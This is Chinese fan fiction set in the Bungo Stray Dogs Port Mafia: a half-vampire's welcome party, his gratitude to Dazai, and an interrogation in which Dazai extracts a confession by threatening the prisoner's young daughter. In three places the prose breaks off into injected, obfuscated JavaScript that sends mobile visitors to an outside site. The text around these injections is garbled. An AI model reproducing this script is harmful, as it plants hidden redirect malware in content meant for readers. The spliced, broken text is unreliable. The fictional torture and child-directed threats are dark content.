他常常望着窗外横滨灰蒙蒙的天空,连游戏机和电视剧都失去了吸引力。 这种持续的低落,自然落入了太宰治的眼中。 太宰甚至在想,是不是被打回重写的报告让这只小血族伤心了。 他偶尔用惯常的玩笑话去逗弄菲那恩,得到的回应却总是慢半拍,甚至没有回应。 鸢色的眼眸深处,若有所思的光芒闪烁了几下。 几天后,一则通知通过内部渠道下达:港口Mafia将举办一场小型的内部宴会,也是对新成员菲那恩迟来的欢迎会。 宴会当晚,中型宴会厅被简单布置过,氛围不同于往日的庆功宴或威慑性聚会。 当菲那恩被中原中也略显粗鲁地拎过来时,他惊讶地发现,几乎所有的中高层都出席了。 认识的,不认识的,好多人…… 首领森鸥外带着他那标志性的、令人捉摸不透的微笑举杯。 尾崎红叶身着典雅和服,团扇轻摇,对他投来一个带着些许善意和温柔的目光,就连一向对他冷眼相对的芥川龙之介也面无表情地站在阴影里,算是到场了。 中原中也则忙前忙后,指挥着下属端上丰盛的食物和酒水,其中甚至特意备好了多种口味的、盛放在精致高脚杯里的特制果汁饮料。 气氛算不上热火朝天,但对于港口Mafia而言,已是罕见的放松与包容。 菲那恩站在门口,有些手足无措。 这种公开的、带着明确善意的接纳,对他而言陌生得令人心慌,过去漫长的岁月里,他更多的是与敌视和冷眼打交道。 “杵在这儿干嘛?”中原中也走过来,不由分说地塞给他一杯温热的饮料,语气依旧不耐,“给你的宴会,好好享受,别摆着那张丧气脸了。” 森鸥外走了过来,说了几句官方的欢迎词,那双深不见底的紫红色眼眸中,此刻竟也有一丝并非全然算计的温和。 尾崎红叶则是轻声笑道:“小菲那恩是个乖孩子呢。” 甚至有几个曾与他并肩作战过的干部直属中层成员,也鼓起勇气过来和他碰杯,真诚地称赞他的实力。 菲那恩捧着那杯温热的果汁饮料,指尖感受到恰到好处的温度。 听着周围并不喧嚣却真切的话语,感受着那些落在他身上的柔和目光,一种奇异的、缓慢的热流逐渐从心脏最深处涌出,一点点驱散盘踞在那里的冰冷雾气。 那是一种被“看见”、被“认可”、甚至被“欢迎”着的实感。 他僵硬的身体渐渐放松,开始认真地回应每一个向他致意的人,甚至会小心地品尝那些为他准备的甜点心。 就在这时,他听到中原中也正对着一个后勤成员抱怨,声音不高,却清晰地传入他敏锐的耳中:“……都是太宰那家伙瞎提议……说什么某个家伙最近死气沉沉的看得人心烦,得找个由头让他打起精神……啧,结果自己溜得倒快!麻烦事全丢给我……” 诶……?是……太宰? 是因为看他最近没精神,所以才…… 菲那恩瞳孔猛地一缩。 轰然间,他感到心中那片迷雾突然变得清晰了。 太宰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389246|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 太宰…… 通透与否似乎其实就在一念间。菲那恩想。 母亲的遗愿是“活下去”,这份爱的遗愿诅咒着他一直坚持生活。 而仇恨,只是活下去的一种方式,一种最沉重、最孤独的方式。 港口Mafia给予的,或许是另一种方式。 他不必立刻放下对母亲的思念与痛苦,也不必立刻全盘接受人类的一切。 他只需要……试着往前走一步。 迷茫并未完全消失,但那种几乎要将他撕裂的拉扯感,却悄然缓和了。 这里,或许真的能生长出不同于仇恨与火焰的东西。 他的赤红的眼眸重新亮了起来。 他急切地环顾整个宴会厅,寻找那个熟悉的身影,却一无所获。 心中的暖意与某种更加汹涌的、名为“寻找”的冲动催促着他。 他放下酒杯,对中也匆忙说了一句“我离开一下”,便迅速冲出了宴会厅。 走廊、办公室、游戏室、常去的天台……他找遍所有可能的地方,却始终找不到那个人。 最后,他抱着最后一丝希望,冲上了总部大楼最高、也是最偏僻的那个天台。 夜风呼啸,瞬间吹散了身下的喧嚣与暖意。 清冷的月光如水银般倾泻,将空旷的天台照得一片白。 那个披着黑色大衣的熟悉身影,正背对着他,独自倚靠着冰冷的栏杆,眺望着远方横滨璀璨却疏离的夜景。 他手里拿着一个盛着半杯红酒的高脚杯,偶尔喝上一口,背影在辽阔的夜空下,显得格外孤寂,与楼下的热闹格格不入。 “太宰!” 菲那恩的声音带着奔跑后的急促喘息和难以抑制的激动。 太宰治闻声微微一怔,似乎完全没预料到会被找到。 他慢悠悠地转过身,脸上习惯性地挂起那副漫不经心的笑容:“呀,这不是今晚的焦点人物吗?怎么跑到这种冷清地方来了?下面的……” 他的话戛然而止。 因为菲那恩几乎是用了全身的力气,猛地扑了过来,一下子紧紧搂住了他的脖子。 太宰治被这突如其来的撞击弄得向后踉跄了一步,下意识地伸手扶住对方的腰稳住彼此。 菲那恩比太宰治矮上一些,这个用力的拥抱使得太宰治不得不微微弓起身子,才能承接住这份沉重而热烈的拥抱。 一瞬间,太宰治的鼻尖盈满了一种清冷而馥郁的、带着神秘的白玫瑰香气,那是独属于菲那恩的味道。 他低下头,对上菲那恩近在咫尺的脸庞。 那双赤红的眼眸此刻亮得惊人,如同最纯粹的红宝石,里面盛满了几乎要溢出来的、滚烫的喜悦和深切的感激,所有之前的阴霾被一扫而空,只剩下全然的澄澈与明亮。 菲那恩仰着头,脸上绽开一个大大的、毫无保留的灿烂笑容,声音因激动而微微发颤,却每一个字都清晰而坚定: “谢谢你,太宰!” 他收紧搂着太宰治脖子的手臂,仿佛要将自己的心跳和温度都传递过去,一字一句,郑重地如同宣誓: “太宰是这个世界上对我最好的人!” 夜风掠过天台,吹起两人交错的发丝,却吹不散那萦绕的白玫香。 太宰治鸢色的眼眸中,那层惯有的淡漠面具,在月光和这句毫无杂质的情感冲击下,仿佛冰面般悄然裂开细密的纹路,露出一丝罕见的、真实的愕然与……某种深藏的、几乎从未被如此直接照亮的细微动容。 他沉默了片刻,周遭只剩下呼啸的风声。那扶在菲那恩腰侧的手,原本只是出于惯性稳住对方,此刻却几不可查地收紧了一些。 隔着衣料,能感受到对方身体的微凉和细微的颤抖。 然后,在菲那恩那双盛满了全然信任的赤眸注视下,太宰治的另一只手臂,缓缓地带着一丝几乎是试探性的迟疑,最终轻轻地却实实在在地回抱住了他。 那是一个短暂的、有些僵硬的拥抱,与他平日里游刃有余的姿态截然不同,却远比任何安慰、鼓励的语言都来得真实。 “……你是笨蛋吗。”他最终低声说道,声音比平时低沉柔和了许多,甚至带上了一点不易察觉的沙哑,那声音几乎被风吹散,却又清晰地落在菲那恩耳边,“下面还有那么多人在等你这个主角呢。” 虽然这样说着,但他并没有立刻推开菲那恩。 两人就在这天台上,在这片月光下,短暂地共享了一个无声却温暖的拥抱。 楼下的喧嚣仿佛来自另一个世界,此刻,只有风声、月光,和彼此交织的呼吸与心跳。 26.额外劳动 之后两天,菲那恩果然肉眼可见地恢复了干劲,几乎一整天都在训练场和中原中也“切磋”。 港口mafia任务情报一般不互通,他不知道太宰最近在做什么,但能感觉到太宰有点忙。 今天是罕见的休息日。 原因似乎是太宰治忙活了这几天,终于抓住了那条走私线的运营者,随后便向森鸥外强烈申请休假,森鸥外“大方”地给太宰治放了一天假。 菲那恩则是因为今天中原中也有重要的武力镇压任务,训练暂且搁置,然后太宰治休假,暂时没人带他工作,他也被迫休假一天。 菲那恩有些不服气,“为什么你们不在,我就无法单独执行任务?我又不弱……” 太宰治闻言,打了个哈欠,“因为你现在还在考察期。” 菲那恩不解地皱了皱眉,“考察我什么……” 他一不乱杀人给港口mafia惹麻烦,二不伤害同事、甚至还会跟这些人类说话和道谢,三还听从命令做任务,隐藏血族身份不造成人们恐慌…… 还有什么……? 反正菲那恩自觉自己已经非常非常乖了。 太宰治再次打了一个哈欠,他最近都没睡好觉,焉焉地随口敷衍道:“唔……新人都会有一段时间的考察期。” 菲那恩思索几秒,迅速接受了这个说法,“这样啊,那行吧。” 清晨的光线,缓慢而粘稠地透过窗帘缝隙,在地板上淌开一道温暖的金痕,空气里漂浮着细微的尘埃,在光柱中悠然起舞。 菲那恩侧蜷在柔软得能陷进去的羽绒被里,脸颊埋进蓬松枕头,只露出一小片光洁的额头和几缕散乱的粉色发丝,尖耳朵在粉发中若隐若现,随着他缓慢而深长的呼吸,极其轻微地、无意识地颤动了一下。 作为血族,他本不需要这样“人类式”的漫长睡眠,更无需依赖日出而作。 但或许是这具混血身体里残留的人类基因作祟,又或许是为了降低耗能,他放任自己沉溺在这种被温暖和柔软包裹的惰性里。 不知过了多久,菲那恩的睫毛开始剧烈地颤动起来。 他极不情愿地、一点点地掀开了沉重的眼皮,血红的眼眸初时蒙着一层浓重的水汽,茫然失焦地对着天花板看了好几秒。 ——他忘记拉窗帘了。 阳光透过缝隙落在他脸上,刺得他又立刻闭上了眼睛,发出一声细弱的不满叹息,“好讨厌……” 他抬起手用手背遮在眼前,指尖在晨光中显得格外纤长白皙。 “唔……” 他慢吞吞地撑起上半身,睡衣滑落一边也懒得去拉,粉色的长发乱糟糟地披散着。 他坐在床上,眼神放空地看着前方虚空,灵魂仿佛还在温暖的被窝里流连忘返。 就在这时,一种细微的、源自血脉深处的干渴感滑过意识,将他最后一点睡意彻底驱散。 几乎是本能的驱使,菲那恩赤着脚,踩在柔软的地毯上,出房间,直奔冰箱。 他小心翼翼地捧出了一个巴掌大的、磨砂玻璃材质的小瓶子。 瓶子里盛放着一种奇异的液体——在窗外透进来的晨光下,呈现出一种深邃而温暖的宝石红色,比最醇厚的红酒更瑰丽,比最上等的红宝石更剔透。 瓶口被一个精致的银色塞子密封着。 菲那恩拔开瓶塞的动作带着一种近乎虔诚的轻柔。 瞬间,一股难以言喻的、极其惑人的气息在房间里弥漫开来。 那并非普通血液的腥甜,而是一种更为复杂的香气——一种……属于人类生命的、蓬勃又带着点颓靡的独特芬芳。 太宰治的血液。 菲那恩血红的眼眸在嗅到气息的瞬间,仿佛被点亮了一簇微小的火焰,迷蒙的慵懒褪去,换上了一种纯粹的、近乎孩童般对渴望之物的专注。 他仰起头,将瓶口凑近唇边。 他喝得很慢,很珍惜。 每一次吞咽都带着一种近乎享受的微眯起眼,喉结在苍白的颈项上轻轻滚动。 清晨的阳光落在他精致的侧脸和微颤的白色睫毛上,为他渡上一层柔光,这画面本该是圣洁而宁静的,却因那瓶中深红的液体和少年喉间吞咽的细微动作,染上了一层禁忌而妖异的色彩。 他伸出粉色的舌尖,极其自然地舔过唇角残留的一滴红宝石般的液体,动作带着猫儿般的餍足与不经意。 然而,当瓶底彻底暴露在晨光下时,菲那恩脸上的满足瞬间凝固了。 空了? 他难以置信地晃了晃瓶子,只有瓶壁上残留的几滴缓慢滑落。 他又举起来对着光仔细看了看,确实一滴不剩了。 “……” 菲那恩漂亮的眉头立刻拧了起来,血红的眼睛里充满了震惊。 他明明记得昨天睡前还有一点点的!怎么会喝得这么快?! 一股莫名的烦躁瞬间取代了晨起的慵懒。 他看了看空瓶子,尖耳朵因为不满而微微向后撇着。 不行!绝对不行! 行动快于思考。 菲那恩甚至没顾得上整理自己滑落的睡衣,也忘了自己还赤着脚,头发也乱得像刚被暴风雨洗礼过。 他一把抓起那个空荡荡的小玻璃瓶,像一阵裹挟着起床气和不满的粉色旋风,目标明确地冲出了自己的房间,直奔隔壁——太宰治的房门。 他甚至懒得敲门,直接拧开门把手,得益于太宰治不上锁的习惯,风风火火地闯了进去。 “太宰——!” 房间里的景象和菲那恩那边的晨光慵懒截然不同,明明太宰治完完全全是个人类,厚重的窗帘却拉得严严实实,只有床头一盏昏黄的小夜灯提供着可怜的光源。 空气里弥漫着淡淡的酒精和……蟹肉罐头的残留气味? 太宰治整个人陷在凌乱的被褥里,只露出一个乱糟糟的黑色脑袋和缠着绷带的脖子。 他似乎被这突如其来的闯入和喊声惊扰了好梦,极其困难地、像慢镜头回放一样,从枕头里抬起半张脸。 他的眼睛勉强睁开一条缝,鸢色的眼眸里布满了浓重的血丝和“被强行拽离睡眠边缘”的浓重怨念与茫然,黑眼圈深重得仿佛被人揍了两拳。 “……吵死了……菲那恩……我记得这应该是你第二次大早上吵我睡觉了吧……” 他的声音沙哑得如同破旧的风箱,带着浓重的睡意和被打扰的浓浓不悦,“……现在才几点……你是吸血鬼不是公鸡……” 菲那恩完全无视了太宰治濒临崩溃的起床气状态。 他冲到床边,将那个空瓶子几乎怼到了太宰治眼前,粉色的长发随着动作晃动着,血红的眼睛里充满了控诉和一种理直气壮的索取: “没了!你看!喝完了!” 他的声音因为急切而微微拔高,带着点控诉的鼻音。 “我头晕!我走不动路!我什么都干不了!” 他甚至夸张地晃了晃身体,试图表现出“重度贫血”的虚弱感,可惜那双因为渴求而格外明亮的红眼睛和气势汹汹的姿态出卖了他。 他站在那里,赤着脚,乱着发,睡衣不整,气鼓鼓地发出抗议。 清晨的宁静,被这理直气壮的“讨血宣言”彻底打破。 “你……又在发什么神经……?”太宰治那张被枕头挤压得变形的脸,彻底黑了下来。 他猛地从被窝里坐起身,动作之大带起一阵风,凌乱的黑发像炸了毛的猫。 他死死盯着眼前这个扰人清梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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太宰治的声音恢复了点慵懒,但那慵懒下面可藏着不小的起床气,“毕竟,让员工因为‘贫血’而罢工,对组织也是损失,对吧?” 菲那恩猛地点了点头,眼睛瞬间亮了起来,像两颗被擦亮的红宝石,期待地看着他。 “额外的‘营养费’,是需要付出额外‘劳动’的,菲那恩。” 他嘴角勾起一个恶劣的弧度,配上他凌乱的头发和深重的黑眼圈,显得格外没精神,“地下三层,一号审讯室,有个昨晚抓回来的人,嘴硬得很,红叶姐叫我顺便去帮她审一下。” 他耸耸肩,一副“你看我多体恤下属”的样子,“所以,这份‘晨间提神醒脑’的工作,就交给你了。” 菲那恩脸上的期待瞬间僵住,血红的眼睛微微睁大:“……审讯?” 他对港口Mafia的审讯部门有所耳闻,那可不是什么愉快的差事,充满了血腥、惨叫和令人作呕的恐惧气味。 “没错。” 太宰治打了个巨大的哈欠,生理性的泪水都挤了出来,他毫不在意地用手背抹掉,“要求不高,天黑之前,把他知道的所有事情,包括但不限于走私物品清单,走私路线的细节、接头人名单……” “总之,把他脑子里有用的东西,都‘撬’出来。” 他说得轻描淡写,仿佛在交代去买杯咖啡。 他看着菲那恩,眼神带着点“你看着办”的威胁。 他抛出了一个诱饵,又补充道,“要是撬不开……或者把人弄死了……那你就饿到我消气为止。” 菲那恩摸了摸下巴,思考了一会儿,感觉自己还是很有胜算的,“好,我会好好审他的。” 他转身就走,连门都忘了关。 太宰治看着菲那恩消失的背影,以及大敞的房门,终于长长地、疲惫地叹了口气。 他摇摇晃晃地走到门边,把门关上,然后像被抽干了所有力气一样,直挺挺地倒回床上,用被子蒙住头。 “该死的……” 被子里传来他咬牙切齿的诅咒,“下次一定要把门锁焊死……” 随后,太宰治像突然想起什么似的,抬头,在枕头下面摸出手机给尾崎红叶发了一条信息,随后脑袋就一下摔进枕头里,不再动弹。 27.审讯失败 横滨港区,港口Mafia总部五栋大楼如同黑色的巨兽,威严地矗立着,散发着令人心悸的冰冷气息。 菲那恩刚踏上总部大楼前冰冷的花岗岩台阶,两名身着黑西装、眼神锐利的守卫便立刻注意到了他。 他们迅速收起了一切戒备姿态,恭敬地垂首行礼。 “菲那恩大人!”两人异口同声,语气带着显而易见的敬畏。 其中一人上前一步,低声道:“尾崎干部已在茶室等候您多时。” 菲那恩点了点头,算是回应。 他粉色的长发在微风中拂动,径直穿过自动为他打开的沉重玻璃门。 大厅内往来穿梭的黑西装成员们见到他,无不放缓脚步,微微躬身示意,目光中混杂着好奇与敬畏。 他如同一个移动的静谧焦点,与周围肃杀忙碌的环境形成鲜明对比,却又奇异地被这个系统所接纳。 他无需指引,径直走向通往特定楼层的专用电梯——仿佛早已熟知这里的每一个角落。 电梯无声下降,停在一个充满和风雅韵的楼层。 尾崎红叶的和室茶室如同喧嚣战场中的一片静港,紫砂壶在红泥小炉上咕嘟作响,氤氲出清雅的茶香。 红叶跪坐于精致的坐垫上,动作行云流水地为菲那恩斟上一杯碧绿的茶水。 “小菲那恩,你来了,感觉港口mafia如何?” 红叶的声音轻柔,仿佛闲话家常。 菲那恩轻轻端起温热的茶杯,感受着细腻的瓷质,血红的眼眸低垂,突然想起某人说过的某句话,“……很有存在感的存在。” “菲那恩君可真有趣呢。”红叶微微一笑,笑容温婉,眼底却沉淀着洞察世事的幽深。 她放下茶壶,指尖优雅地拂过袖口的金线刺绣,“有一个人,菲那恩君已经接触到了哦。太宰治,我们有史以来最年轻的干部,一个……非常特别的人。” 菲那恩抬眼,看向尾崎红叶。 “他在某些方面,拥有令人惊叹的才能。尤其是在审讯一道,堪称组织内……无人能及的‘天才’。” 红叶的声音依旧柔和,却透出一丝不易察觉的寒意,“但这‘天才’的基石,是他那双能洞穿皮囊、直视灵魂最深处污秽与软肋的眼睛。” “——他能将人心置于冰冷的解剖台上,精准地找到那根最脆弱、最不堪一击的神经。” 菲那恩血红的眼眸里没有波动,只是静静听着。 “寻常的刑具,制造的是□□的痛苦,痛苦能摧毁意志,也能催生谎言与彻底的崩溃。而太宰君……” 红叶的紫眸凝视着菲那恩,“——他玩弄的是人心。恐惧、贪婪、爱欲、愧疚……甚至那些连本人都不愿面对的阴暗角落。” 她的话语带着一种奇异的赞叹与冰冷的警示,“那是一种精神层面的彻底摧毁,比任何□□折磨都更彻底,也更……令人绝望。” “所以……”她顿了顿,看着菲那恩依旧没什么表情,甚至可以说有点茫然的脸,缓缓道:“里世界有句话是——太宰的敌人最大的不幸就是成为太宰的敌人。” “不要与太宰为敌,不要与港口mafia为敌。”尾崎红叶抬眼看着菲那恩,点到为止。 这似乎只是前辈对晚辈的忠告。 但她不知道的是菲那恩完全不在意这些,只是从她那些话中得出一个信息——太宰很厉害。 “这样吗……” 菲那恩血红的眼眸微微垂下,心里开始悄悄嘀咕那个俘虏到底嘴多硬才轮得到太宰来审。 尾崎红叶不置可否地笑了笑,“你可以叫我红叶姐。” 菲那恩点了点头,“红叶姐。” 尾崎红叶却笑了笑,优雅地端起茶杯,补充道:“当然,这份令人恐惧的才能,用在正确的方向,便是组织无上的利器哦。时间不早了,该去处理那个小麻烦了,小菲那恩。” 菲那恩放下茶杯,眼眸一下子变得认真起来,“好的,红叶姐。” 地下三层的空气阴冷粘稠,混杂着消毒水、铁锈和若有似无的血腥气。 当审讯室沉重的隔音铁门打开时,一股更为浓烈的浑浊气息扑面而来——绝望、汗液、排泄物和新鲜血液混合的腥臭。 俘虏佐藤健一被牢牢束缚在冰冷的金属椅上,状态凄惨,脸上青紫交加,一只眼睛肿得只剩缝隙,嘴角凝固着暗红血沫,赤裸的上身布满纵横交错的鞭痕和新渗出血珠的伤口。 他瘫软着,气息微弱,眼神涣散,但嘴巴依旧死死紧闭,仿佛那是他仅存的、无意义的尊严。 菲那恩踏入审讯室时,佐藤健一勉强抬起头,肿胀的眼皮艰难地撑开一条缝隙。 他的视线模糊地捕捉到一抹粉色——一个看起来纤细、甚至有些柔弱的少年,穿着干净的和服,像是误入血腥地狱的迷途者。 红叶示意菲那恩上前。 菲那恩走到俘虏面前,属于血族的冰冷威压如同实质般弥漫开,试图直接碾碎对方摇摇欲坠的精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随后,太宰治的声音再次响起,那困倦的沙哑被一种带着黑暗兴味和恶劣调侃的语调所取代,透过听筒丝丝缕缕地渗入菲那恩的耳中: “哦?这么快就放弃了?” 他的声音压得很低,带着一种奇异的亲昵感,仿佛就贴在他的耳边低语: “真是拿你没办法呢……其实,你可以求我帮你哦,菲那恩~” 28.手段 “其实,你可以求我帮助你哦,菲那恩~” 菲那恩的尖耳朵几不可察地抖动了一下。 他看着地上奄奄一息、却依旧顽固地紧闭着嘴的佐藤健一。 一种混杂着挫败和不甘的情绪在他心底翻涌,但奇异的是,面对太宰治这明显带着陷阱和恶趣味的提议,他预想中的被冒犯感并未升起。 短暂的沉默后,菲那恩血红的眼眸里闪过一丝倔强的光,他对着话筒,声音不大,却异常清晰:“求你。” 没有犹豫,没有屈辱。 电话那头传来太宰治一声几不可闻的、略带讶异的鼻音,随即是更深的、仿佛被取悦了的低笑。 “乖孩子~”他的声音陡然沉了下去,褪去了所有的慵懒和戏谑,“把手机……开免提,放到他旁边。” 菲那恩依言照做。 他蹲下身,无视佐藤健一因他的靠近而再次爆发的剧烈痉挛和恐惧的呜咽,将那部冰冷的加密手机,靠近了俘虏沾满血污和汗水的耳边。 太宰治的声音,通过免提功能,在血腥弥漫的审讯室里清晰地响起。 不再是刚才对菲那恩说话时那种带着兴味的语调,而是变成了一种……毫无波澜的、如同在念诵某种既定判决的、带着死亡气息的低语: “佐藤健一先生。” 仅仅是一个名字,一个称谓。 瘫软在椅子上的佐藤健一,身体猛地剧烈一震,那涣散的眼神瞬间聚焦,瞳孔急剧收缩,仿佛听到了来自地狱深处的召唤。 他肿胀的脸颊肌肉无法控制地抽搐着,喉咙里发出“嗬…嗬…”的、如同溺水般的绝望抽气声。 那声音里蕴含的恐惧,比之前菲那恩施加的血族威压和精神诱导所引发的,要绝望百倍。 “我记得你,”太宰治的声音平稳得可怕,“你有一个女儿,对吧?很可爱,叫……佐藤美和子?在横滨第三小学读四年级?” 佐藤健一的呼吸骤然停止! 他像一条被抛上岸的鱼,徒劳地张着嘴,却吸不进一丝空气。 那双布满血丝的眼睛死死瞪着虚空,里面是灭顶的惊恐和难以置信。 “她很喜欢校门口那家甜品店的草莓蛋糕,每天放学都会路过。”太宰治的声音依旧平淡无波,每一个字却都像淬了毒的冰锥,精准无比地凿进佐藤健一灵魂深处最柔软、最不容触碰的角落。 “你最后一次见她,是上周三下午四点十七分,在街角那棵樱花树下,你给了她买蛋糕的零钱,还摸了摸她的头。她笑起来,左边脸颊有个小酒窝,和你很像。” “不……不……!”佐藤健一终于从喉咙深处挤出一声破碎的、濒死般的哀嚎。 巨大的恐惧瞬间摧毁了他所有的意志和伪装,眼泪混着血水从肿胀的眼眶里汹涌而出。 “当然——如果你再浪费我宝贵的时间,下一分钟,她放学路上‘意外’遇到的,就不会是卖蛋糕的阿姨了。”那声音轻飘飘的,却带着千钧的重压和不容置疑的毁灭性,“你猜,会是失控的货车?还是……某个心情不太好的组织成员?” “我说!!!!”佐藤健一用尽全身残存的力气,爆发出凄厉至极的尖叫,声音嘶哑得几乎撕裂声带,充满了彻底的、无条件的屈服,“我什么都说!走私路线!接头人!仓库位置!藏匿点!所有的!求求你!放过她!放过我女儿!!!” 他语无伦次,涕泪横流,像一条被彻底抽掉了脊梁骨的蠕虫,再无半分抵抗。 他迫不及待地将所有深埋心底的秘密倒豆子般倾泻而出。 菲那恩站在一旁,血红的眼睛一脸懵地注视着这发生在短短几十秒内的发生的一切。 空气中弥漫的绝望浓稠得几乎令人窒息。 尾崎红叶倚在门边,眸子里闪过一丝了然和冰冷的寒意——这就是太宰治。 而菲那恩…… 他听着佐藤健一崩溃的哭喊和求饶,听着那些肮脏的秘密被一股脑吐出,听着太宰治在电话那头,用那种掌控一切的、毫无情感起伏的声音,偶尔发出一个简短的音节,比如“嗯”、“继续”、“地点?”这些,精准地引导着信息的流向。 他的心底,出乎意料地平静,没有像其他人那样本能地战栗。 他甚至微微歪了歪头,粉色的发丝滑落肩头,眼神里带着一种……纯粹的困惑和好奇。 佐藤健一交代完最后一条信息,如同被抽干了所有力气,彻底瘫软在椅子上,只剩下微弱的、断断续续的抽泣。 菲那恩关掉免提,重新贴回自己耳边:“他说完了。” “嗯。”太宰治的声音重新带上了一丝慵懒的、仿佛刚睡醒般的困意,似乎对刚刚结束的精神凌迟毫不在意,“……看来菲那恩的任务,勉强算是完成了呢。” 菲那恩没有立刻回应,他血红的眼睛看着审讯室里一片狼藉和那个彻底崩溃的俘虏,短暂的沉默后,他对着话筒,语气里是纯粹的不解和求知欲:“太宰。” “嗯?”电话那头传来一个带着浓浓睡意的鼻音。 “你是怎么知道的?”菲那恩的声音很认真,“关于他女儿……名字、学校、蛋糕店……甚至具体的时间地点?红叶姐的情报网……似乎都没有查到这些细节。” 他回想起红叶之前提到过佐藤健一背景干净,查不到明显软肋。 电话那头传来太宰治一声意味不明的轻笑,带着一种洞悉一切的慵懒:“菲那恩,这才是‘审讯’真正的起点。” 菲那恩的尖耳朵立刻竖了起来,像认真听课的学生。 太宰治的声音慢悠悠地传来,带着一种黑暗导师般的耐心,却又冰冷地揭示着残酷的真相:“情报不是凭空掉下来的,红叶大姐的情报网很强,但有时候……过于‘干净’本身就是最大的破绽。” “佐藤健一,一个走私团伙的核心成员,履历清白得像一张白纸,没有情人,没有赌博酗酒恶习,父母早亡,独居……这种人,要么是圣人,要么……就是有更深的、更不容触碰的软肋,被他藏得极好。” 菲那恩的眉头微微蹙起,努力理解着。 “他进入审讯室时,左手无名指内侧有长期佩戴戒指留下的压痕,但戒指不见了,很旧,很深,说明戴了很多年,不是装饰品,是婚戒。”太宰治的声音平淡得像在描述天气,“一个‘独居’的人,为什么要长期戴着婚戒,又在被抓前特意摘下?” 菲那恩回忆起佐藤健一的手,但当时他根本没注意到这些细节。 “他身上没有任何家庭照片,手机也被处理过,但……”太宰治顿了顿,带着一种近乎残忍的洞察力,“他右脚的旧皮鞋鞋底边缘,卡着一小片粉色的、印着卡通兔子图案的糖纸,那是最受横滨第三小学附近那家蛋糕店欢迎的赠品糖果包装。” 他顿了顿,声音带上了一丝明显的笑意,“哦,刚好也是你喜欢的蛋糕店。” 菲那恩彻底愣住了:“太宰都不在现场……怎么知道这么多细节?” “啊,这个啊,”太宰治淡淡道:“当然是因为——人是我抓的哦。” 菲那恩一脸震惊,后知后觉太宰根本没有告诉他这些情报就让他来审讯。 显然——这是太宰的“报复”。 但菲那恩转念一想,似乎是因为自己打扰了他睡觉,既然是自己理亏,也就不说什么了。 “一个独居的、履历清白的成年男人,鞋底沾着小女孩才会喜欢的糖果包装纸?这概率有多大?”太宰治的声音里带着一丝冰冷的嘲讽,“顺着这条线,找到那家店,调取监控,锁定一个近期频繁在周三下午四点左右出现在店附近、且行为符合‘等待孩子放学’特征的男人……并不难。” “至于名字?一个在蛋糕店门口徘徊,看着孩子吃蛋糕时会露出那种笑容的父亲,很容易被店员记住称呼。” “至于具体的时间地点……”太宰治的声音更轻了,带着一种令人不寒而栗的随意,“不过是基于他的活动规律和心理画像,做出的合理推测,人类的情感模式,尤其是对至亲的眷恋,往往……非常公式化。” “只需要一点点暗示,他自己就会在恐惧中‘确认’所有细节的真实性。” 他最后这句话,彻底揭示了刚才那番精准“描述”的本质——那不仅是情报,更是精心设计的、直刺灵魂弱点的心理武器。 菲那恩握着手机,久久没有说话。 太宰治轻描淡写的话语,为他推开了一扇门,门后是深不见底的、由人心弱点构筑的黑暗迷宫。 那不是简单的暴力,而是将人性置于显微镜下,利用其最珍视的美好作为砝码,进行最冷酷的权衡与摧毁。 这种精准的“解构”和“利用”,比任何超能力都更让菲那恩感到一种……震撼。 “明白了?”太宰治的声音带着浓浓的倦意,“挂了,我要补觉了……” “等等,太宰。”菲那恩下意识地开口。 电话那头沉默了两秒,太宰治的声音才再次响起,带着一丝不易察觉的、仿佛玩笑般的试探,却又像在确认什么更重要的东西:“……怎么?觉得很可怕?” 那语气听起来很轻松,仿佛已经预料到了答案,“害怕了下次就别吵我睡——” “不怕。”菲那恩打断了他,声音不大,却异常清晰、坚定。 电话那头的呼吸似乎微不可察地顿了一下。 菲那恩血红的眼眸里映着审讯室冰冷的灯光,里面没有恐惧的阴影,只有一种纯粹的、近乎灼热的亮光,他对着话筒,一字一句,认真地说道: “我觉得太宰你,真的好厉害。” 电话那头,是长久的、令人窒息的沉默。 这沉默不同于之前的慵懒或等待,它更像是一种……凝固。 几秒钟后,就在菲那恩以为信号中断了的时候,听筒里终于传来一丝极细微的、几乎被忽略的吸气声。 紧接着,是太宰治的声音。 那声音……极其古怪。 不再是刚才教导审讯技巧时那种冰冷的洞悉,也不是平时那种带着戏谑的慵懒,更不是威胁佐藤健一时的死亡低语。 它像是被强行从某种粘稠的思绪里拔出来,带着一丝罕见的、几不可查的……滞涩,甚至……一丝被烫到般的、极其微弱的狼狈。 “……哈?” 一个短促的几乎不成调的单音,带着浓重的鼻音和显而易见的茫然,仿佛他的语言处理中枢被那句“真的好厉害”彻底烧短路了。 “能把那种……手段……” 他似乎找不到一个合适的词来形容自己刚才的手段,最终含糊地带过,“只……评价为‘超级厉害’的,大概只有你这种脑子里少了根筋的吸血鬼了。” 菲那恩困惑地微微蹙起眉:“厉害不好吗?” 他的语气带着纯然的不解,仿佛在讨论一件再自然不过的事情,“你解决了问题,而且效率很高,为什么不能是‘厉害’?” “……” 电话那头又是一阵沉默。 太宰治似乎被这句直白到近乎天真的反问彻底噎住了。 他能轻易撬开任何人的心防,玩弄最深沉的恐惧,却在菲那恩这种纯粹的逻辑面前,感到了前所未有的……词穷。 “……挂了。” 这一次 